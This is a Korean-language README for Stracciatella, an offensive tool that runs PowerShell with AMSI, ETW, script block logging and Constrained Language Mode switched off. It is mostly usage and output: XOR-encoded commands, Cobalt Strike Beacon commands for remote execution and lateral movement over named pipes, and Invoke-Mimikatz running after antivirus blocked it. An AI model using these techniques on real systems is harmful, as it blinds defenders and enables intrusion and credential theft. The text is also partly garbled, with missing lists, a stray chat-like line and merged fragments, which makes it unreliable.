
시작 시 AMSI, Constrained Language Mode 및 Script Block Logging이 비활성화된 C# 내부의 OpSec-safe Powershell runspace (일명 SharpPick)
C# 내부에서 Powershell runspace (일명 SharpPick 기법)를 통해 AMSI, ETW, 스크립트 블록 로깅을 비활성화하여 제공합니다.
오늘날 Powershell은 다음과 같은 기술로 심각하게 계측되었습니다:
고급 공격자는 정교한 적대적 시뮬레이션 훈련을 수행하기 위해 이러한 노력을 우회할 방법을 찾아야 합니다. 이러한 노력을 돕기 위해 다음 프로젝트가 만들어졌습니다.
이 프로그램은 다음 우회 기술을 기반으로 구축되었습니다:
이는 다시 다음 연구를 기반으로 했습니다:
SharpPick 개념, 즉 C# 어셈블리 내에서 Runspace를 사용하여 Powershell 스크립트를 실행하는 것은 새로운 것이 아니며, 처음으로 Lee Christensen(@tifkin_)이 다음에서 구현했습니다:
또한 소스 코드는 CustomPSHost 구현을 Lee에게서 차용했습니다.
이 프로젝트는 위 연구와 훌륭한 보안 커뮤니티의 성과를 이어받아, 시작 시 방어 기능이 비활성화된 거의 완벽에 가까운 Powershell 환경을 제공합니다.
이제 .NET 4.0에서 쉽게 컴파일되며, .NET Framework 4.7.1+로 컴파일하면 CLM 우회 아티팩트를 구성하는 DLL을 언로드하고 이후에 삭제를 시도하는 추가 기능이 포함됩니다 (솔직히 잘 작동하지는 않습니다).
Stracciatella를 .NET 4.0으로 컴파일했을 때 최상의 성능을 얻을 수 있습니다.
사용 가능한 몇 가지 옵션이 있습니다:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
프로그램은 명령 및 스크립트 파일 경로를 입력으로 받습니다. 둘 다 선택 사항이며, 아무 것도 제공되지 않으면 유사 셸(pseudo-shell)이 시작됩니다. 명령과 스크립트 모두 단일 바이트 XOR(출력은 Base64로 인코딩됨)을 사용하여 추가 인코딩할 수 있어 OpSec 경험이 향상됩니다.
다음은 사용 사례를 보여주는 몇 가지 예입니다:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
먼저 인코딩된 구문을 준비하기 위해 포함된 encoder.py 스크립트를 사용할 수 있으며, 다음과 같이 사용합니다:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
그런 다음 encoder.py의 출력을 Stracciatella의 인코딩된 명령 입력으로 전달합니다:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
반면:
Command was built of following commands: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - contained: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella는 Aggressor 스크립트를 포함하며, 로드되면 Beacon 콘솔에 stracciatella 명령이 노출됩니다. 사용법은 powerpick과 매우 유사합니다(이전에 stracciatella-import를 통해 powershell 스크립트를 가져온 경우). 입력 매개변수는 무작위 키로 XOR 처리되어 무작위 이름의 Pipe를 통해 Stracciatella의 runspace로 전달됩니다.
다음 Cobalt Strike 명령을 사용할 수 있습니다:
Stracciatella 작업 전략 중 하나는 충분히 긴 파이프 읽기 타임아웃을 구성하고(1), 원격 시스템에서 실행하여(2) Stracciatella의 약간의 도움으로 명명된 파이프를 통한 측면 이동 옵션을 확보하는 것입니다.
powerpick에 비해 장점은 Stracciatella가 Powerpick처럼 _AMSI.dll_을 패치하지 않는다는 것입니다(AmsiScanBuffer 패치). 따라서 메모리 내 패치를 찾는 EDR이 감지할 수 있는 포렌식 노이즈가 적을 수 있습니다. 또한 Stracciatella는 현재 powerpick으로는 불가능한 _제한된 언어 모드(Constrained Language Mode)_를 안정적으로 우회할 수 있을 것입니다.
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
마지막으로, Stracciatella는 powershell 보호를 우회하는 기능을 제공하지 않는 다른 도구/C2에서도 쉽게 사용할 수 있습니다.
stracciatella가 오류 2(ERROR_FILE_NOT_FOUND)를 반환하는 경우, Stracciatella가 내부적으로 명명된 파이프에 데이터가 기록되기를 기다리다 시간 초과가 발생했기 때문입니다.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
그러나 Stracciatella의 타임아웃 매개변수를 조정하여 해결할 수 있습니다:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
관련 Aggressor 스크립트는 내부 Beacon 루틴을 활용하여 무작위로 이름이 지정된 파이프에 쓰고, 반대쪽에서는 Stracciatella의 로직이 수신 대기합니다. 수신 측은 일정 시간 동안 인바운드 데이터를 기다리며(Stracciatella 옵션의 --timeout 매개변수, 기본값 60초), 데이터가 없으면 시간 초과되어 정상적으로 중단됩니다. 그렇지 않으면 수신된 명령이 디코딩되어 평소처럼 실행됩니다.
때로는 Powershell 런타임에서 호출하려는 함수나 리플렉티브하게 .NET 모듈을 로드하지 않는 Powershell 스크립트가 있습니다. 이러한 사용 사례를 지원하기 위해 stracciatella-script <scriptpath> <command Beacon 명령을 사용할 수 있습니다. 이 명령은 지정된 powershell 스크립트 파일을 읽고 해당 스크립트에 세미콜론으로 구분된 주어진 <command>를 추가합니다.
Stracciatella의 Aggressor 스크립트(CNA)는 BOF.NET이 로드되었는지 감지하며, 로드된 경우 다음 명령을 노출합니다:
bofnet_loadstracciatella
이 명령은 bofnet_load stracciatella.exe를 실행합니다. 또한 Stracciatella는 Cobalt의 내장 execute-assembly 대신 bofnet_jobassembly를 통해 실행됩니다.
이 동작은 stracciatella.cna 스크립트의 전역 변수를 변경하여 조정할 수 있습니다:
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.
# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Matt Graeber가 발견한 리플렉션을 사용하지만, 이 프로그램의 접근 방식은 약간 수정되었습니다. "amsiInitFailed"와 같은 기호 이름을 참조하는 대신 리플렉션으로 가져올 수 있는 모든 Assembly, Method, Type, Field를 검색하여 찾습니다. 그런 다음 Management.Automation 어셈블리에서 NonPublic 및 Static 변수를 조작하여 AMSI를 비활성화합니다. 스크립트 블록 로깅도 마찬가지이며, 이 경우 일부 아이디어는 Ryan Cobb(@cobbr)의 연구를 기반으로 했습니다.
실제로 Stracciatella는 위에서 언급한 제 Disable-*.ps1 파일에 이미 포함된 것과 동일한 구현을 사용합니다.
또한 amsi.dll을 패치하지 않습니다. 이는 너무 눈에 띄며 가까운 미래에 EDR/HIPS/AV에 의해 면밀히 모니터링될 수 있습니다. 시스템 라이브러리의 무결성을 손상시키는 것은 리플렉티브 변수 조작에 비해 확실히 불리합니다.
Invoke-Mimikatz를 보여주시겠어요?물론입니다, 여기 있습니다:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
현재 Stracciatella가 powershell 명령에 runspace를 제공하는 방식은 가장 은밀하지 않습니다. 기본적으로 해당 .NET 어셈블리를 로드하는 Powershell runspace를 생성합니다. 이는 Stracciatella의 프로세스가 다소 수상하다는 플래그로 간주될 수 있습니다.
이 프로젝트와 다른 프로젝트들은 잠 못 이루는 밤과 많은 노력의 결과입니다. 제 작업이 마음에 들고 항상 커뮤니티에 환원하는 것을 감사히 여기신다면, 커피 한 잔 사주시기 (또는 맥주라도) 감사의 표시로 부탁드립니다! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike command | Description |
|---|
stracciatella [-v] <command> | 주어진 명령을 실행합니다 |
stracciatella-remote [-v] <machine> <pipename> <command> | 지정된 파이프의 원격 시스템에서 주어진 명령을 실행합니다 |
stracciatella-import <scriptpath> | Stracciatella에서 사용할 powershell 스크립트를 가져옵니다 |
stracciatella-script <scriptpath> <command> | 지정된 Powershell(ps1) 스크립트로 Powershell 명령을 미리 로드합니다 (stracciatella-import와 stracciatella를 단일 작업으로 결합) |
stracciatella-clear | 해당 Beacon에서 가져온 스크립트를 지웁니다 |
stracciatella-timeout <milliseconds> | 기본 명명된 파이프 읽기 타임아웃을 조정합니다 |
bofnet_loadstracciatella | Stracciatella.exe를 BOF.NET에 로드합니다 (사용하는 경우) |
bofnet_stracciatella <command> | (비차단) BOF.NET bofnet_jobassembly를 통해 안전한 Stracciatella runspace에서 Powershell 명령을 실행합니다 |
bofnet_executestracciatella <command> | (차단) BOF.NET bofnet_executeassembly를 통해 안전한 Stracciatella runspace에서 Powershell 명령을 실행합니다 |
bofnet_stracciatella_script <scriptpath> <command> | 지정된 Powershell 스크립트를 미리 로드하고 주어진 명령을 매개변수와 함께 실행합니다 (BOF.NET을 통해) |